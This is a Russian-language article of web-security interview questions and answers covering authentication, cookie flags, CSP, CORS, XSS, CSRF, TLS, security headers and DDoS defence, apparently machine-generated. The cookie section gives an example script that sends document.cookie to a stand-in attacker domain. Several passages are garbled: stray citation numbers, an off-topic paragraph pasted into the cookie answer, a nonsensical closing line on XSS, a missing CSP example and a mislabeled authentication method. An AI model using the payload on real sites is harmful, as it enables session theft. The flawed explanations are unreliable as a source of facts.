Вопросы по веб-безопасности на собеседовании

Вопросы по веб-безопасности на собеседовании

1.Разница между идентификацией, аутентификацией, авторизацией?

Идентификация, аутентификация и авторизация - это три ключевых процесса в области информационной безопасности. Вот как они отличаются:

Идентификация - это процесс указания идентичности пользователя или вещи . Это первый шаг в большинстве онлайн-транзакций и обычно требует от пользователя предоставления имени, адреса электронной почты, номера телефона или имени пользователя .

Аутентификация - это процесс доказательства идентичности пользователя системы компьютера . Это обычно достигается путем ввода пароля . Более безопасные методы аутентификации включают многофакторную аутентификацию (MFA), которая требует использования более чем одной формы аутентификации .

Авторизация - это функция, определяющая права доступа/привилегии к ресурсам . Это процесс предоставления пользователю доступа к системам или привилегиям после того, как его идентифицировали и аутентифицировался.

Важно понимать, что эти процессы взаимосвязаны и обычно происходят последовательно: сначала идентификация, затем аутентификация, и, наконец, авторизация .

2. Виды аутентификации?

Существует несколько различных методов аутентификации, включая:

Аутентификация по паролю (Password Authentication Protocol): Это наиболее распространенный метод аутентификации, который требует от пользователя ввода имени пользователя и пароля.

Многофакторная аутентификация (Multi-factor authentication): Этот метод требует двух или более факторов для аутентификации. Это может включать что-то, что пользователь знает (например, пароль), что-то, что у пользователя есть (например, токен или смартфон), и что-то, что является пользователем (например, отпечаток пальца или сканирование лица)1.

Аутентификация на основе сертификатов (Certificate-based encryption): Этот метод использует цифровые сертификаты для аутентификации пользователей.

Токен-аутентификация (Token authentication): Этот метод использует цифровой токен, который генерируется системой и предоставляется пользователю.

Биометрическая аутентификация (Biometric authentication): Этот метод использует уникальные биологические характеристики пользователя, такие как отпечатки пальцев, сканирование сетчатки глаза или распознавание лица, для аутентификации.

Двухфакторная аутентификация (Two-factor authentication): Это подмножество многофакторной аутентификации, которое требует двух факторов для аутентификации.

Важно отметить, что эти методы могут использоваться в сочетании для усиления безопасности. Например, можно использовать аутентификацию на основе пароля в сочетании с биометрической аутентификацией для создания двухфакторной аутентификации.

3. Что такое безопасные (Secure) и HttpOnly cookies?

Secure и HttpOnly - это два важных атрибута, которые могут быть установлены для cookies, чтобы улучшить безопасность веб-сайта .

Secure Cookies: Этот атрибут указывает, что cookie должен передаваться только через защищенное соединение (HTTPS). Если этот флаг установлен, браузер никогда не отправит cookie, если соединение не является HTTPS5. Это помогает предотвратить перехват cookie через атаки "man-in-the-middle"5.

HttpOnly Cookies: Этот атрибут запрещает доступ к cookie из клиентских скриптов JavaScript. Это помогает защитить cookie от кражи через атаки межсайтового скриптинга (XSS). Например, если на вашем веб-сайте хранится cookie сессии и есть поле ввода, уязвимое для XSS, то злоумышленник может внедрить скрипт, делающий HTTP-запрос к URL, например, attackerDomain.com/cookie=${document.cookie}2. Это работает, потому что document.cookie доступен для любого кода JavaScript и выводит все cookie, используемые в текущем домене. Если у вас действительно хранится сессия, злоумышленник получит доступ к текущей сессии пользователя .

Важно отметить, что эти атрибуты могут использоваться вместе для усиления безопасности. Например, можно использовать аутентификацию на основе пароля в сочетании с биометрической аутентификацией для создания двухфакторной аутентификации.

4. Что такое Content Security Policy (CSP)?

Content Security Policy (CSP) - это дополнительный слой безопасности, который помогает обнаруживать и смягчать определенные типы атак, включая межсайтовый скриптинг (XSS) и атаки с внедрением данных . Эти атаки используются для всего, от кражи данных, до порчи сайтов, до распространения вредоносного ПО .

CSP позволяет администраторам серверов уменьшить или устранить векторы, с помощью которых может произойти XSS, указывая домены, которые браузер должен считать допустимыми источниками исполняемых скриптов . Браузер, совместимый с CSP, затем будет выполнять только скрипты, загруженные в исходные файлы, полученные из разрешенных доменов, игнорируя все остальные скрипты (включая встроенные скрипты и атрибуты обработки событий HTML)123.

Кроме того, сервер может указать, какие протоколы разрешено использовать; например (и идеально, с точки зрения безопасности), сервер может указать, что весь контент должен быть загружен с использованием HTTPS .

Для включения CSP вам нужно настроить ваш веб-сервер для возврата заголовка HTTP Content-Security-Policy . Или же, элемент может быть использован для настройки политики, например:

Обратите внимание: некоторые функции, такие как отправка отчетов о нарушении CSP, доступны только при использовании HTTP-заголовков.

5. Что такое cors ?

CORS (Cross-Origin Resource Sharing, или совместное использование ресурсов между разными источниками) - это механизм, который позволяет браузерам запрашивать ресурсы с другого домена, отличного от домена, с которого была загружена веб-страница .

Вот некоторые ключевые моменты о CORS:

Расширение политики одного источника (Same-Origin Policy): CORS расширяет и добавляет гибкость к политике одного источника (SOP), которая ограничивает взаимодействие веб-сайтов с ресурсами, находящимися за пределами исходного домена .

Заголовки HTTP: CORS работает на основе заголовков HTTP. Сервер может указать, какие источники (домен, схема или порт) допустимы для загрузки ресурсов .

Предварительные запросы (Preflight Requests): Браузеры выполняют “предварительный” запрос к серверу, который хостит ресурс из другого источника, чтобы проверить, разрешит ли сервер фактический запрос .

Безопасность: CORS помогает смягчить риски, связанные с междоменными HTTP-запросами, такими как межсайтовый скриптинг (XSS)1.

Использование в API: Браузеры используют CORS в таких API, как fetch() или XMLHttpRequest.

Обратите внимание, что CORS - это не защита от межсайтовых атак, таких как подделка межсайтовых запросов (CSRF)2.

6. Что такое межсайтовый скриптинг (XSS)?

Межсайтовый скриптинг (XSS) - это тип уязвимости безопасности веб-сайта, который позволяет злоумышленнику внедрить вредоносный код, который будет выполняться браузером ничего не подозревающего посетителя сайта. Это один из наиболее часто используемых методов атак в Интернете.

Вот некоторые ключевые моменты о XSS:

Внедрение кода: Злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере, который был доставлен из надежного источника.

Доступ к данным: Вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя.

Типы атак: XSS атаки могут быть отраженными (непостоянными), хранимыми (постоянными) или основанными на DOM.

Защита: Для защиты от XSS атак важно проводить валидацию и кодирование входных данных, а также использовать механизмы, такие как Content Security Policy (CSP).

Рейтинг рисков: XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений, согласно OWASP 20213.

Обратите внимание, что XSS - это не защита от межсайтовых атак, таких как подделка межсайтовых запросов (CSRF).

7. Методы повышения безопасности веб-приложений?

Вот несколько методов, которые могут помочь повысить безопасность веб-приложений:

Профессиональная проверка безопасности: Попросите профессионалов “атаковать” ваше приложение, чтобы выявить уязвимости.

Изучение блогов по безопасности: Следите за блогами по безопасности веб-приложений, чтобы быть в курсе последних угроз и методов защиты.

Резервное копирование данных: Регулярно создавайте резервные копии данных вашего веб-приложения.

Сканирование на уязвимости: Регулярно сканируйте ваш веб-сайт на наличие уязвимостей.

Инвестиции в экспертов по безопасности: Нанимайте специалистов по безопасности для проведения аудита и улучшения безопасности вашего веб-приложения.

Санитизация пользовательского вывода: Всегда проверяйте и очищайте данные, введенные пользователями, чтобы предотвратить атаки, такие как SQL-инъекции.

Обновление: Регулярно обновляйте все компоненты вашего веб-приложения, включая сервер, языки программирования, библиотеки и плагины.

Использование платформы безопасности веб-приложений: Используйте специализированные платформы для повышения безопасности веб-приложений.

Сильная политика паролей: Установите строгую политику паролей и используйте двухфакторную аутентификацию.

Использование SSL (HTTPS): Используйте SSL (HTTPS) для шифрования ваших страниц входа .

Безопасный хостинг: Не экономьте на безопасном хостинге.

Помимо этих методов, важно следовать лучшим практикам безопасности веб-приложений, таким как использование веб-брандмауэра, контроля доступа к API, применения ожидаемых поведений приложения, следования руководству OWASP Top 10, использования существующих инструментов и стандартов, обновления зависимостей, отслеживания рисков зависимостей, проверки правильной настройки инструментов безопасности, настройки DevSecOps, использования менеджеров паролей, привлечения экспертов и обучения изменениям в области безопасности.

8. Что такое OWASP Top 10?

OWASP Top 10 - это стандартный документ, предназначенный для повышения осведомленности разработчиков и специалистов по безопасности веб-приложений о наиболее критических рисках безопасности . Он представляет собой широкий консенсус относительно десяти наиболее критических угроз безопасности для веб-приложений .

Вот некоторые ключевые моменты о OWASP Top 10:

Общепризнанный стандарт: OWASP Top 10 признан разработчиками всего мира как первый шаг к более безопасному кодированию .

Обновления: В OWASP Top 10 2021 года представлены три новые категории, четыре категории с изменениями в названиях и области применения, а также некоторые объединения .

Категории рисков: Некоторые из категорий рисков включают нарушение контроля доступа, криптографические сбои, инъекции, небезопасный дизайн, неправильная настройка безопасности, уязвимые и устаревшие компоненты, сбои в идентификации и аутентификации .

Использование: Компании должны принять этот документ и начать процесс обеспечения минимизации этих рисков в своих веб-приложениях .

Цель: Использование OWASP Top 10, возможно, является самым эффективным первым шагом к изменению культуры разработки программного обеспечения в вашей организации в направлении создания более безопасного кода.

9. Что такое SSL/TLS? Зачем они используются в веб-разработке?

SSL (Secure Sockets Layer) и TLS (Transport Layer Security) - это криптографические протоколы, предназначенные для обеспечения безопасности и конфиденциальности данных в сети Интернет .

Вот некоторые ключевые моменты о SSL/TLS:

Шифрование: SSL/TLS используются для шифрования данных, передаваемых между клиентом (например, веб-браузером) и сервером . Это помогает защитить данные от перехвата и чтения третьими лицами .

Аутентификация: SSL/TLS также используются для аутентификации сервера . Это позволяет клиенту убедиться, что он подключается к правильному серверу, а не к злоумышленнику .

Целостность данных: SSL/TLS обеспечивают целостность данных, гарантируя, что данные не были изменены в процессе передачи .

В веб-разработке SSL/TLS обычно используются для защиты веб-сайтов и веб-приложений. Они особенно важны для сайтов, которые обрабатывают конфиденциальную информацию, такую как личные данные, данные кредитных ка

рт и пароли . Веб-сайты, защищенные SSL/TLS, обычно используют протокол HTTPS вместо HTTP.

10. Какие основные угрозы безопасности могут возникать на веб-страницах?

Веб-страницы могут столкнуться с различными угрозами безопасности. Вот некоторые из наиболее распространенных:

Межсайтовый скриптинг (XSS): Это тип атаки, который позволяет злоумышленнику внедрять вредоносный код через веб-сайт в браузеры других пользователей.

SQL-инъекции: Это атаки, при которых злоумышленник может внедрить вредоносный SQL-код для манипуляции с базой данных, что может привести к несанкционированному доступу к данным.

Межсайтовая подделка запроса (CSRF): Это тип атаки, который заставляет ничего не подозревающего пользователя выполнить нежелательные действия на веб-сайте, в котором он аутентифицирован.

Утечка информации: Это происходит, когда конфиденциальная информация, такая как личные данные пользователей или сведения о кредитной карте, становится доступной для несанкционированного доступа.

Недостаточная аутентификация и авторизация: Это происходит, когда системы аутентификации и авторизации веб-сайта недостаточно защищены, что позволяет злоумышленникам получить несанкционированный доступ.

Атаки типа “отказ в обслуживании” (DoS): Это атаки, которые направлены на перегрузку веб-сайта большим количеством запросов, что может сделать его недоступным для других пользователей.

Для обеспечения безопасности веб-сайта важно уделять внимание разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а также кода на стороне клиента.

11. Какие типы HTTP заголовков могут быть полезны для обеспечения безопасности веб-приложений?

HTTP заголовки играют важную роль в обеспечении безопасности веб-приложений. Вот некоторые из них:

X-Frame-Options: Этот заголовок может быть использован для указания, должен ли браузер разрешить отображение страницы в ,

Content-Security-Policy (CSP): Этот заголовок позволяет контролировать, какие ресурсы могут быть загружены на веб-страницу, что помогает предотвратить атаки межсайтового скриптинга (XSS)1.

X-XSS-Protection: Этот заголовок может остановить загрузку страниц, когда обнаруживаются атаки межсайтового скриптинга (XSS)1.

X-Content-Type-Options: Этот заголовок используется сервером для указания браузерам, что MIME-типы, объявленные в заголовках Content-Type, должны быть соблюдены, а не угаданы.

Referrer-Policy: Этот заголовок контролирует, сколько информации о реферере (отправленной через заголовок Referer) должно быть включено в запросы.

Strict-Transport-Security (HSTS): Этот заголовок заставляет браузеры делать запросы к сайту только через HTTPS, что помогает предотвратить атаки "man-in-the-middle".

Access-Control-Allow-Origin (CORS): Этот заголовок используется для указания, какие домены могут делать кроссдоменные запросы к сайту.

12. Что такое принцип наименьших привилегий (POLP)?

Принцип наименьших привилегий (POLP) - это концепция кибербезопасности, в которой пользователям предоставляется доступ к данным и системам, достаточный для выполнения их работы, и не более . Это означает давать пользователю только те привилегии, которые являются абсолютно необходимыми для того, чтобы сделать свою работу.

Вот некоторые ключевые моменты о POLP:

Сокращение поверхности атаки: Ограничивая привилегии, организации могут сократить число возможных точек входа для несанкционированного доступа и легко предотвратить любые потенциальные угрозы.

Минимизация внутренних угроз: Ограничивая доступ, организации могут свести к минимуму возможность внутренних угроз компрометировать конфиденциальные данные случайно или преднамеренно.

Предотвращение горизонтального перемещения: Доступ с наименьшими привилегиями не позволяет злоумышленникам перемещаться по сети в горизонтальном направлении.

Обеспечение соответствия нормативным требованиям: Доступ с наименьшими привилегиями помогает организациям защитить конфиденциальные данные и соблюдать нормативные и отраслевые требования.

Реализация POLP: Чтобы реализовать принцип наименьших привилегий, организациям необходимо определить роли и разрешения, приобрести решение для управления привилегированным доступом (PAM), применять многофакторную аутентификацию, автоматически выполнять ротацию учетных данных для привилегированных учетных записей, сегментировать сети и регулярно проверять сетевые привилегии .

13. Как можно защищаться от DDoS-атак (Distributed Denial of Service)?

Защита от DDoS-атак (Distributed Denial of Service) может быть сложной задачей, но есть несколько стратегий и методов, которые могут помочь:

Облачные средства защиты: Воспользуйтесь облачными средствами защиты от DoS для предотвращения взлома.

Составление плана инфраструктуры: Составьте актуальный план своей инфраструктуры и ее уязвимых мест.

Настройка фаервола: Закройте для доступа извне базы данных и другие подобные элементы. Сконфигурируйте фаервол так, чтобы открытыми оставались только доверенные адреса и сети.

Разграничение ресурсов: Разграничьте используемые ресурсы, если на сервере больше одного сайта.

Сервисы защиты от DDoS-атак: Воспользуйтесь специализированными сервисами для защиты от DDoS-атак.

Обновление программного обеспечения: Убедитесь, что все ваше программное обеспечение, включая операционную систему, веб-серверы и приложения, обновлены до последних версий.

Использование системы обнаружения вторжений (IDS): IDS может помочь обнаружить необычные паттерны трафика, которые могут указывать на DDoS-атаку.

Распределение трафика: Используйте балансировку нагрузки и другие технологии для распределения трафика и уменьшения нагрузки на отдельные серверы.

Создание плана реагирования на инциденты: Подготовьте план действий на случай DDoS-атаки, чтобы знать, что делать, когда это произойдет.

Обучение персонала: Обучите свой персонал основам кибербезопасности и тому, как распознать и реагировать на DDoS-атаки.

14. Как можно защищаться от CSRF-атак (Cross-Site Request Forgery)?

Защита от CSRF-атак (Cross-Site Request Forgery) включает в себя несколько стратегий и методов:

Использование токенов: Один из наиболее распространенных методов защиты - использование CSRF-токена. Это уникальные и непредсказуемые значения, которые вставляются в формы и проверяются сервером при получении запроса .

Проверка заголовка Origin или Referer: Этот метод заключается в проверке HTTP заголовка Origin или Referer, чтобы убедиться, что запрос был отправлен с доверенного источника .

Использование фреймворков с встроенной защитой: Многие веб-фреймворки имеют встроенные механизмы защиты от CSRF-атак .

SameSite Cookies: Этот атрибут cookie может помочь предотвратить CSRF-атаки, ограничивая, когда сайт может отправлять cookie .

Double Submit Cookie: Этот метод заключается в использовании двух cookie: одного, который устанавливается HTTP-ответом, и другого, который устанавливается JavaScript в браузере .

Обучение пользователей: Обучение пользователей безопасным практикам в Интернете, таким как не открывать подозрительные ссылки и регулярно обновлять свои пароли, также может помочь предотвратить CSRF-атаки .

Важно отметить, что эти методы защиты должны быть правильно реализованы, чтобы быть эффективными .

15. Как можно защищаться от межсайтового скриптинга (XSS)?

Защита от межсайтового скриптинга (XSS) включает в себя несколько стратегий и методов:

Санитизация ввода: Всегда проверяйте и очищайте данные, введенные пользователями, чтобы предотвратить атаки.

Кодирование вывода: Кодируйте данные перед их отображением на странице.

Использование HTTP заголовков: Используйте HTTP заголовки, такие как Content-Security-Policy, для ограничения исполнения скриптов .

Использование веб-фреймворков с встроенной защитой: Многие веб-фреймворки имеют встроенные механизмы защиты от XSS-атак .

Обновление программного обеспечения: Убедитесь, что все ваше программное обеспечение, включая операционную систему, веб-серверы и приложения, обновлены до последних версий .

Использование антивирусного решения: Установите качественное антивирусное решение на свой компьютер .

Автоматическое обновление сторонних программ: Настройте автоматическое обновление всех сторонних программ .

Сканирование веб-сайтов: Загрузите инструмент для сканирования веб-сайтов на предмет наличия в коде уязвимостей типа XSS .

16. Что такое распределенная система аутентификации ?

Распределенная система аутентификации - это система, в которой процесс аутентификации выполняется не на одном центральном сервере, а распределяется между несколькими узлами или серверами . Это позволяет увеличить надежность и масштабируемость системы, поскольку аутентификация может продолжаться, даже если один из серверов выйдет из строя .

Вот некоторые ключевые моменты о распределенной системе аутентификации:

Единая аутентификация: В распределенных системах часто используется механизм единой аутентификации (SSO – Single Sign-On), который позволяет пользователю проходить процедуру аутентификации только один раз для доступа ко всем ресурсам системы.

Многоуровневая аутентификация: В распределенной системе пользователь может проходить несколько уровней аутентификации. Например, аутентификация в модуле защиты от несанкционированного доступа (НСД), аутентификация в операционной системе клиентского компьютера, аутентификация на сервере системы управления базами данных (СУБД) с помощью клиентского программного обеспечения СУБД.

Сервер управления: В распределенной системе аутентификации сервер управления играет ключевую роль, выполняя аутентификацию от имени пользователя на других серверах.

Делегирование полномочий: Пользователь делегирует полномочия по его аутентификации серверу управления, который играет роль сервера-посредника, при необходимости применяя хранящуюся на нем информацию о пользователе для выполнения его аутентификации.

Защита от несанкционированного доступа: Распределенная система аутентификации может быть частью более масштабной системы защиты от несанкционированного доступа.

Применение в реальных системах: Распределенные системы аутентификации широко используются в реальных системах, включая корпоративные сети, облачные сервисы и интернет-сервисы.

17. Какие меры безопасности следует принять при работе с cookie на стороне клиента?

При работе с cookie на стороне клиента следует принять следующие меры безопасности:

Использование флага Secure: Этот флаг указывает, что cookie должны передаваться только через защищенное соединение (HTTPS). Это помогает предотвратить перехват cookie.

Использование флага HttpOnly: Этот флаг запрещает доступ к cookie из клиентских скриптов JavaScript . Это может быть использовано для защиты cookie от XSS-атак .

Использование флага SameSite: Этот флаг может помочь предотвратить CSRF-атаки, ограничивая, когда сайт может отправлять cookie2.

Ограничение срока действия cookie: Установите срок действия cookie на минимально возможный .

Защита от перебора: Используйте сложные и уникальные имена для cookie, чтобы затруднить их перебор .

Шифрование cookie: Если cookie содержат конфиденциальную информацию, они должны быть зашифрованы .

Валидация ввода: Всегда проверяйте и очищайте данные, введенные пользователями, прежде чем сохранять их в cookie2.

Не храните чувствительные данные: Никогда не храните чувствительные данные, такие как пароли или данные кредитных карт, в cookie2.

Использование политики Content Security Policy (CSP): CSP может помочь предотвратить атаки межсайтового скриптинга (XSS), которые могут использоваться для кражи cookie2.

Обучение пользователей: Обучение пользователей безопасным практикам в Интернете, таким как не открывать подозрительные ссылки и регулярно обновлять свои пароли .

БУМ!

11
Начать дискуссию